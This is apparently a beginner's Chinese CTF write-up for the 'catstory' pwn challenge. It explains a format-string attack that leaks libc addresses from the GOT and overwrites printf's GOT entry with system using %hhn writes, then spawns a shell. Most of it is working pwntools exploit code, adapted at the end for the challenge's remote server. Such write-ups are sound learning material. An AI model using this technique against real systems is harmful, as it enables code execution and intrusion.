日前入门pwn,粗浅学习了写shellcode,rop,栈溢出攻击,现在遇到了fmtstr,把我头搞炸了,决定好好学习一下,写一篇文章作为记录,供日后参考
样本
题目:https://ctf.sixstars.team/challenges#cat
文件下载:下载
参考资料:Hint
Remote:$ nc pwn.sixstars.team 22015
分析
大概就是这样,程序里没有现成的 shell
可拿,所以想法是替换 printf
的 GOT
值为 system
的,然后输入 /bin/sh
完事,不知道这是不是叫做 ret2libc
。
解题
首先要获得 scanf
写入的缓冲区的地址,或者说是在调用 printf
时栈上的偏移量。我使用 Python 2.7
与 pwntools
。
这里是 printf
的 plt
段
printf
的 GOT 偏移是不会变的,记录下来
1 2 3 4
| from pwn import * import struct
GOT_PLT_ADDR = 0x601030
|
scanf
写入的缓冲区大小是1000,由于是64位题目,如果把地址放在前面会导致直接 null byte
截断,无法获得输出,所以把地址放在最后
1 2
| def pad(s): return s + "X"*(1000 - len(s) - 8)
|
先写一个获取偏移量的 payload
。
1 2 3 4 5 6 7
| def calc_offset_payload(): pl = "" pl += "AAAAAAAA" pl += "|%p|" * 150 pl = pad(pl) pl += struct.pack("Q", GOT_PLT_ADDR) return pl
|
执行
1 2 3
| proc = process("./catstory") proc.sendline(calc_offset_payload()) print proc.recv()
|
可以数出来
在第132个“参数”处,因此后面通过 %n
写入数值的时候,往132个偏移,即 %132$n
写入即可。
看看它采用的安全手段
在这里做一个小笔记,PIE
是将主程序加载进随机的(但不是任意位置,需要对齐等)地址空间,可以用来防范 rop,而 ASLR
则是操作系统级别的一个东西,随机化动态链接库的地址,而动态链接库一定是PIE的。可以理解为如果程序开启了 PIE,那么上面的 0x601030
是不能直接用的,因为主程序像动态链接库一样,地址被随机化了。
这题没开启PIE,那么可以少操一点心。
首先,目标是把 printf
的 GOT 改为 system
的,但是我们对 remote 的 libc 一无所知,需要先泄露一些地址。
我们选择 printf
和 __libc_start_main
的地址进行泄露,我的思路是按位打印,这样如果遇到 0x00 也可以知道。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| def get_got_addr_payload(i): pl = "" pl += "AAAAAAAA" pl += "%132$s" pl = pad(pl) pl += struct.pack("Q", GOT_PLT_ADDR + i) return pl def get_got_addr(proc): got_addr = list("") for i in range(0, 8): pld = get_got_addr_payload(i) proc.sendline(pld) rec = proc.recv() if len(rec) == 991: got_addr += '\0' else : got_addr += rec[8] got_addr = "".join(got_addr) got_addr = struct.unpack("P", got_addr) return got_addr
|
执行
1 2 3 4 5
| proc = process("./catstory") GOT_PLT_ADDR = 0x601030 printf_addr = get_got_addr(proc) printf_addr = int(''.join(map(str,printf_addr))) print "printf_addr = %x" % (printf_addr)
|
这是不够的,还需要知道 __libc_start_main
的地址,由于 ASLR
,需要在一次运行时内写出。
1 2 3 4
| GOT_PLT_ADDR = 0x601038 libc_start_main_addr = get_got_addr(proc) libc_start_main_addr = int(''.join(map(str,libc_start_main_addr))) print "libc_start_main_addr = %x" % (libc_start_main_addr)
|
我们知道了两个偏移,就可以知道 libc
的信息了。使用 libc-database。
由此我们可以获得 libc,再得出 system
的地址
因此,system_addr = printf_addr + offset_system - offset_printf
1 2
| system_addr = printf_addr + 0x4f440 - 0x64e80 print "system_addr = %x" % (system_addr)
|
最后我们只需把 system
的地址写入到 printf
里去,即可完成攻击。不过我有一个小问题就是 scanf 是不接受 0x20
即空格的,如果遇到了我不知道怎么办。
可见,我们需要修改低三个字节的内容。这里我推荐使用 %hhn
,一个字节一个字节写入。于是我们需要修改 pad
函数,使后面能容纳三个地址
1 2
| def pad2(s): return s + "X"*(1000 - len(s) - 24)
|
容易知道三个地址的偏移变成了 130, 131, 132。
1 2 3 4 5 6 7 8 9 10 11 12 13
| def set_got_addr_payload(v1, v2, v3, a1, a2, a3): pl = "" pl += "%{}x".format(v1) pl += "%130$hhn" pl += "%{}x".format(v2) pl += "%131$hhn" pl += "%{}x".format(v3) pl += "%132$hhn" pl = pad2(pl) pl += struct.pack("Q", a1) pl += struct.pack("Q", a2) pl += struct.pack("Q", a3) return pl
|
由于写入需要一定的顺序,而且只能递增,因此需要一些小的计算,我不细说了,自己体会。
1 2
| def sort_get_idx(vals): return sorted(range(len(vals)), key=lambda k: vals[k])
|
别忘了
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| val1 = int(np.uint8(system_addr)) print "%x" % (val1) val2 = int(np.uint8(system_addr >> 8)) print "%x" % (val2) val3 = int(np.uint8(system_addr >> 16)) print "%x" % (val3)
sorted_idx = sort_get_idx([val1, val2, val3]) print sorted_idx sorted_val = sorted([val1, val2, val3]) print sorted_val
pld = set_got_addr_payload(sorted_val[0], sorted_val[1] - sorted_val[0], sorted_val[2] - sorted_val[1], \ GOT_PLT_ADDR + sorted_idx[0], GOT_PLT_ADDR + sorted_idx[1], GOT_PLT_ADDR + sorted_idx[2])
|
最后
1 2 3 4
| proc.sendline(pld) proc.recvrepeat(1) proc.sendline("/bin/sh") proc.interactive()
|
如果遇到了 EOFError
,重新执行脚本应该可以解决问题。
完整本地脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| from pwn import * import struct import numpy as np
GOT_PLT_ADDR = 0x601030
def pad(s): return s + "X"*(1000 - len(s) - 8)
def pad2(s): return s + "X"*(1000 - len(s) - 24)
def calc_offset_payload(): pl = "" pl += "AAAAAAAA" pl += "|%p|" * 150 pl = pad(pl) pl += struct.pack("Q", GOT_PLT_ADDR) return pl
def get_got_addr_payload(i): pl = "" pl += "AAAAAAAA" pl += "%132$s" pl = pad(pl) pl += struct.pack("Q", GOT_PLT_ADDR + i) return pl
def get_got_addr(proc): got_addr = list("") for i in range(0, 8): pld = get_got_addr_payload(i) proc.sendline(pld) rec = proc.recv() if len(rec) == 991: got_addr += '\0' else : got_addr += rec[8] got_addr = "".join(got_addr) got_addr = struct.unpack("P", got_addr) return got_addr
def set_got_addr_payload(v1, v2, v3, a1, a2, a3): pl = "" pl += "%{}x".format(v1) pl += "%130$hhn" pl += "%{}x".format(v2) pl += "%131$hhn" pl += "%{}x".format(v3) pl += "%132$hhn" pl = pad2(pl) pl += struct.pack("Q", a1) pl += struct.pack("Q", a2) pl += struct.pack("Q", a3) return pl def sort_get_idx(vals): return sorted(range(len(vals)), key=lambda k: vals[k])
proc = process("./catstory") GOT_PLT_ADDR = 0x601030 printf_addr = get_got_addr(proc) printf_addr = int(''.join(map(str,printf_addr))) print "printf_addr = %x" % (printf_addr)
GOT_PLT_ADDR = 0x601038 libc_start_main_addr = get_got_addr(proc) libc_start_main_addr = int(''.join(map(str,libc_start_main_addr))) print "libc_start_main_addr = %x" % (libc_start_main_addr)
system_addr = printf_addr + 0x4f440 - 0x64e80 print "system_addr = %x" % (system_addr)
val1 = int(np.uint8(system_addr)) print "%x" % (val1) val2 = int(np.uint8(system_addr >> 8)) print "%x" % (val2) val3 = int(np.uint8(system_addr >> 16)) print "%x" % (val3)
sorted_idx = sort_get_idx([val1, val2, val3]) print sorted_idx sorted_val = sorted([val1, val2, val3]) print sorted_val
GOT_PLT_ADDR = 0x601030
proc.sendline(set_got_addr_payload(sorted_val[0], sorted_val[1] - sorted_val[0], sorted_val[2] - sorted_val[1], \ GOT_PLT_ADDR + sorted_idx[0], GOT_PLT_ADDR + sorted_idx[1], GOT_PLT_ADDR + sorted_idx[2])) proc.recvrepeat(1) proc.sendline("/bin/sh") proc.interactive()
|
最后我们只要稍作修改即可用于远程服务器,获取 flag
首先由于不知道的原因,原本一次 proc.recv()
现在需要调用两次才能读完缓冲区。如果打印 0x00
,原本 991 的长度被分为 989 和 2。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| def get_got_addr(proc): got_addr = list("") for i in range(0, 8): pld = get_got_addr_payload(i) proc.sendline(pld) rec = proc.recv() proc.recv() if len(rec) == 989: got_addr += '\0' else : got_addr += rec[8] got_addr = "".join(got_addr) got_addr = struct.unpack("P", got_addr) return got_addr
|
最后最重要的就是远程的libc和本地是不一样的,需要自己重新进行计算。
proc = remote("pwn.sixstars.team", 22015)
稍作修改后,执行
flag
是 *ctf{----------------------------------}
,拒绝当 Script Kiddle,自己研究才有乐趣。